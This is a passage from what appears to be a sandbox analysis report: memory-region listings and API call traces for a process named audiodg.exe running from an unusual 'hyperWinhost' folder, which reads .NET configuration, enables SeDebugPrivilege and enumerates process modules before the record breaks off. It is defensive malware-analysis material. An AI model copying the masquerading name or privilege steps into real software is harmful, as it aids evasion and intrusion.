region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 6563 start_va = 0x7fefa260000 end_va = 0x7fefa286fff monitored = 0 entry_point = 0x7fefa2611a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 6567 start_va = 0x4a0000 end_va = 0x4a4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wmiutils.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\wmiutils.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\wmiutils.dll.mui") Region: id = 6568 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 6569 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6570 start_va = 0x7fef98c0000 end_va = 0x7fef98fafff monitored = 0 entry_point = 0x7fef98c22f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 6571 start_va = 0x4b0000 end_va = 0x4b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004b0000" filename = "" Region: id = 6572 start_va = 0x7fefc070000 end_va = 0x7fefc0bafff monitored = 0 entry_point = 0x7fefc07efcc region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 6573 start_va = 0x7fefc4e0000 end_va = 0x7fefc60bfff monitored = 0 entry_point = 0x7fefc4e94bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 6574 start_va = 0x1bdc0000 end_va = 0x1bebffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bdc0000" filename = "" Region: id = 6575 start_va = 0x1bec0000 end_va = 0x1bf3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bec0000" filename = "" Region: id = 6576 start_va = 0x7fef73a0000 end_va = 0x7fef73dafff monitored = 0 entry_point = 0x7fef73c7600 region_type = mapped_file name = "wdmaud.drv" filename = "\\Windows\\System32\\wdmaud.drv" (normalized: "c:\\windows\\system32\\wdmaud.drv") Region: id = 6577 start_va = 0x74580000 end_va = 0x74585fff monitored = 0 entry_point = 0x74581010 region_type = mapped_file name = "ksuser.dll" filename = "\\Windows\\System32\\ksuser.dll" (normalized: "c:\\windows\\system32\\ksuser.dll") Region: id = 6578 start_va = 0x7fefbac0000 end_va = 0x7fefbac8fff monitored = 0 entry_point = 0x7fefbac1010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 6579 start_va = 0x7fefe1e0000 end_va = 0x7fefe3b6fff monitored = 0 entry_point = 0x7fefe1e1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 6580 start_va = 0x7fefddb0000 end_va = 0x7fefdde5fff monitored = 0 entry_point = 0x7fefddb1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6581 start_va = 0x7fefdc20000 end_va = 0x7fefdc39fff monitored = 0 entry_point = 0x7fefdc21558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 6582 start_va = 0x4c0000 end_va = 0x4ccfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 6583 start_va = 0x4d0000 end_va = 0x4d0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wdmaud.drv.mui" filename = "\\Windows\\System32\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\system32\\en-us\\wdmaud.drv.mui") Region: id = 6584 start_va = 0x660000 end_va = 0x660fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mmdevapi.dll.mui" filename = "\\Windows\\System32\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mmdevapi.dll.mui") Region: id = 6585 start_va = 0x7fef7350000 end_va = 0x7fef739efff monitored = 0 entry_point = 0x7fef7352760 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 6586 start_va = 0x670000 end_va = 0x671fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 6587 start_va = 0x1c950000 end_va = 0x1cd52fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c950000" filename = "" Region: id = 6588 start_va = 0x7fef7340000 end_va = 0x7fef7349fff monitored = 0 entry_point = 0x7fef73449f0 region_type = mapped_file name = "msacm32.drv" filename = "\\Windows\\System32\\msacm32.drv" (normalized: "c:\\windows\\system32\\msacm32.drv") Region: id = 6589 start_va = 0x7fef7320000 end_va = 0x7fef7337fff monitored = 0 entry_point = 0x7fef7321060 region_type = mapped_file name = "msacm32.dll" filename = "\\Windows\\System32\\msacm32.dll" (normalized: "c:\\windows\\system32\\msacm32.dll") Region: id = 6590 start_va = 0x7fef7310000 end_va = 0x7fef7318fff monitored = 0 entry_point = 0x7fef7312f98 region_type = mapped_file name = "midimap.dll" filename = "\\Windows\\System32\\midimap.dll" (normalized: "c:\\windows\\system32\\midimap.dll") Region: id = 6591 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6618 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6619 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6620 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6621 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6622 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6623 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6624 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6625 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6626 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6627 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6628 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 6648 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6649 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6650 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6651 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6652 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6653 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6654 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 6655 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6656 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6657 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6658 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 6659 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6660 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6661 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6662 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6663 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 6664 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 6665 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Thread: id = 239 os_tid = 0x900 [0101.473] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0102.397] EtwEventRegister (in: ProviderId=0x2205810, EnableCallback=0x1af9135c, CallbackContext=0x0, RegHandle=0x22057f0 | out: RegHandle=0x22057f0) returned 0x0 [0102.450] EtwEventRegister (in: ProviderId=0x2209f80, EnableCallback=0x1af913ac, CallbackContext=0x0, RegHandle=0x2209f60 | out: RegHandle=0x2209f60) returned 0x0 [0102.565] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4240b0*=0xd8, lpdwindex=0x25e1a4 | out: lpdwindex=0x25e1a4) returned 0x0 [0103.620] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a6b4d10*=0x244, lpdwindex=0x25de94 | out: lpdwindex=0x25de94) returned 0x0 [0103.642] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4240b0*=0xd8, lpdwindex=0x25e1a4 | out: lpdwindex=0x25e1a4) returned 0x0 [0103.659] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1a6b4d60*=0x248, lpdwindex=0x25de94 | out: lpdwindex=0x25de94) returned 0x0 [0103.686] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x4240b0*=0xd8, lpdwindex=0x25e1a4) Thread: id = 240 os_tid = 0x3c4 Thread: id = 241 os_tid = 0x21c [0101.767] CoGetContextToken (in: pToken=0x1a95f5f0 | out: pToken=0x1a95f5f0) returned 0x800401f0 [0101.768] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0114.955] CoGetContextToken (in: pToken=0x1a95f630 | out: pToken=0x1a95f630) returned 0x0 [0114.955] CoGetContextToken (in: pToken=0x1a95f520 | out: pToken=0x1a95f520) returned 0x0 [0114.955] WbemLocator:IUnknown:Release (This=0x1c2c9310) returned 0x1 [0114.955] WbemLocator:IUnknown:Release (This=0x1c2c9310) returned 0x0 [0114.955] CoGetContextToken (in: pToken=0x1a95f520 | out: pToken=0x1a95f520) returned 0x0 [0114.955] WbemStatusCodeText:IUnknown:Release (This=0x1c2c93f0) returned 0x1 [0114.955] WbemStatusCodeText:IUnknown:Release (This=0x1c2c93f0) returned 0x0 [0114.956] IUnknown:Release (This=0x1c2e0470) returned 0x0 [0114.956] CoGetContextToken (in: pToken=0x1a95f270 | out: pToken=0x1a95f270) returned 0x0 [0114.956] IUnknown:Release (This=0x1c26b500) returned 0x1 [0114.956] IUnknown:Release (This=0x1c26b500) returned 0x0 [0115.008] CertCloseStore (hCertStore=0x1a70b450, dwFlags=0x0) returned 1 [0115.008] CertFreeCRLContext (pCrlContext=0x1a7186b0) returned 1 [0115.009] CertFreeCRLContext (pCrlContext=0x1a718730) returned 1 [0115.010] CertFreeCRLContext (pCrlContext=0x1c2abe40) returned 1 [0115.010] CertFreeCRLContext (pCrlContext=0x1c2abdc0) returned 1 [0115.010] CertFreeCRLContext (pCrlContext=0x1a7186b0) returned 1 [0115.011] LocalFree (hMem=0x1c302b20) returned 0x0 [0115.013] IcmpCloseHandle (IcmpHandle=0x1a70b5f0) returned 1 Thread: id = 242 os_tid = 0xa10 Thread: id = 243 os_tid = 0xa14 [0102.495] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0102.496] CoGetContextToken (in: pToken=0x1b19f560 | out: pToken=0x1b19f560) returned 0x0 [0102.496] CObjectContext::QueryInterface () returned 0x0 [0102.496] CObjectContext::GetCurrentThreadType () returned 0x0 [0102.496] Release () returned 0x0 [0102.496] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0102.497] CoUninitialize () [0103.086] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19d998 | out: phkResult=0x1b19d998*=0x0) returned 0x2 [0103.086] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0103.094] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe", nBufferLength=0x105, lpBuffer=0x1b19e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe", lpFilePart=0x0) returned 0x1b [0104.506] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x24c [0104.508] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x250 [0104.523] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19c368 | out: phkResult=0x1b19c368*=0x258) returned 0x0 [0104.525] RegQueryValueExW (in: hKey=0x258, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b19c3b8, lpData=0x0, lpcbData=0x1b19c3b0*=0x0 | out: lpType=0x1b19c3b8*=0x1, lpData=0x0, lpcbData=0x1b19c3b0*=0xe) returned 0x0 [0104.525] RegQueryValueExW (in: hKey=0x258, lpValueName="InstallationType", lpReserved=0x0, lpType=0x1b19c3b8, lpData=0x22609a8, lpcbData=0x1b19c3b0*=0xe | out: lpType=0x1b19c3b8*=0x1, lpData="Client", lpcbData=0x1b19c3b0*=0xe) returned 0x0 [0104.527] RegCloseKey (hKey=0x258) returned 0x0 [0104.714] GetCurrentProcess () returned 0xffffffffffffffff [0104.714] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19bd28 | out: TokenHandle=0x1b19bd28*=0x258) returned 1 [0104.721] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1b19b740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0104.725] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b19bdd0 | out: lpFileInformation=0x1b19bdd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0104.726] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b19b760, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0104.730] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b19bdc8 | out: lpFileInformation=0x1b19bdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0104.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b19b750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0104.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b19bc68) returned 1 [0104.736] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0104.737] GetFileType (hFile=0x25c) returned 0x1 [0104.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b19bbd8) returned 1 [0104.737] GetFileType (hFile=0x25c) returned 0x1 [0104.758] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b19a570, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0104.759] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x1b19a6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0104.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b19a8b8) returned 1 [0104.759] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1b19abe0 | out: lpFileInformation=0x1b19abe0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0104.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b19a868) returned 1 [0104.819] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1b19ab90 | out: pfEnabled=0x1b19ab90) returned 0x0 [0104.826] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1b19bd08 | out: lpFileSizeHigh=0x1b19bd08*=0x0) returned 0x8c8e [0104.827] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19bc78, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19bc78*=0x1000, lpOverlapped=0x0) returned 1 [0104.828] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19ba48, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19ba48*=0x1000, lpOverlapped=0x0) returned 1 [0104.829] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19b818, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19b818*=0x1000, lpOverlapped=0x0) returned 1 [0104.829] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19b818, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19b818*=0x1000, lpOverlapped=0x0) returned 1 [0104.830] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19b818, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19b818*=0x1000, lpOverlapped=0x0) returned 1 [0104.831] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19b6b8, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19b6b8*=0x1000, lpOverlapped=0x0) returned 1 [0104.832] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19b8f8, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19b8f8*=0x1000, lpOverlapped=0x0) returned 1 [0104.833] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19b828, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19b828*=0x1000, lpOverlapped=0x0) returned 1 [0104.833] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19b828, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19b828*=0xc8e, lpOverlapped=0x0) returned 1 [0104.833] ReadFile (in: hFile=0x25c, lpBuffer=0x2299fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1b19b938, lpOverlapped=0x0 | out: lpBuffer=0x2299fd8*, lpNumberOfBytesRead=0x1b19b938*=0x0, lpOverlapped=0x0) returned 1 [0104.833] CloseHandle (hObject=0x25c) returned 1 [0104.834] CloseHandle (hObject=0x258) returned 1 [0104.834] GetCurrentProcess () returned 0xffffffffffffffff [0104.834] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19bee8 | out: TokenHandle=0x1b19bee8*=0x258) returned 1 [0104.835] CloseHandle (hObject=0x258) returned 1 [0104.835] GetCurrentProcess () returned 0xffffffffffffffff [0104.835] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19bee8 | out: TokenHandle=0x1b19bee8*=0x258) returned 1 [0104.836] CloseHandle (hObject=0x258) returned 1 [0104.844] GetCurrentProcess () returned 0xffffffffffffffff [0104.844] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19bd28 | out: TokenHandle=0x1b19bd28*=0x258) returned 1 [0104.845] GetFileAttributesExW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe.config" (normalized: "c:\\hyperwinhost\\audiodg.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b19bdd0 | out: lpFileInformation=0x1b19bdd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0104.845] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe.config", nBufferLength=0x105, lpBuffer=0x1b19b760, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\audiodg.exe.config", lpFilePart=0x0) returned 0x22 [0104.846] GetFileAttributesExW (in: lpFileName="C:\\hyperWinhost\\audiodg.exe.config" (normalized: "c:\\hyperwinhost\\audiodg.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x1b19bdc8 | out: lpFileInformation=0x1b19bdc8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0104.846] CloseHandle (hObject=0x258) returned 1 [0104.846] GetCurrentProcess () returned 0xffffffffffffffff [0104.847] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19bee8 | out: TokenHandle=0x1b19bee8*=0x258) returned 1 [0104.847] CloseHandle (hObject=0x258) returned 1 [0104.848] GetCurrentProcess () returned 0xffffffffffffffff [0104.848] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19bee8 | out: TokenHandle=0x1b19bee8*=0x258) returned 1 [0104.849] CloseHandle (hObject=0x258) returned 1 [0104.856] GetCurrentProcess () returned 0xffffffffffffffff [0104.857] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19bbd8 | out: TokenHandle=0x1b19bbd8*=0x258) returned 1 [0104.860] CloseHandle (hObject=0x258) returned 1 [0104.861] GetCurrentProcess () returned 0xffffffffffffffff [0104.861] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1b19bc18 | out: TokenHandle=0x1b19bc18*=0x258) returned 1 [0104.862] CloseHandle (hObject=0x258) returned 1 [0104.866] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b19e0f8 | out: phkResult=0x1b19e0f8*=0x258) returned 0x0 [0104.868] RegQueryValueExW (in: hKey=0x258, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x1b19e138, lpData=0x0, lpcbData=0x1b19e130*=0x0 | out: lpType=0x1b19e138*=0x0, lpData=0x0, lpcbData=0x1b19e130*=0x0) returned 0x2 [0104.868] RegCloseKey (hKey=0x258) returned 0x0 [0104.869] GetCurrentProcessId () returned 0xd58 [0104.881] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1b19d150 | out: lpLuid=0x1b19d150*(LowPart=0x14, HighPart=0)) returned 1 [0104.883] GetCurrentProcess () returned 0xffffffffffffffff [0104.884] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x1b19d148 | out: TokenHandle=0x1b19d148*=0x298) returned 1 [0104.884] AdjustTokenPrivileges (in: TokenHandle=0x298, DisableAllPrivileges=0, NewState=0x22c0b28*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0104.884] CloseHandle (hObject=0x298) returned 1 [0104.886] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd58) returned 0x298 [0104.890] EnumProcessModules (in: hProcess=0x298, lphModule=0x22c0b90, cb=0x200, lpcbNeeded=0x1b19e130 | out: lphModule=0x22c0b90, lpcbNeeded=0x1b19e130) returned 1 [0104.892] 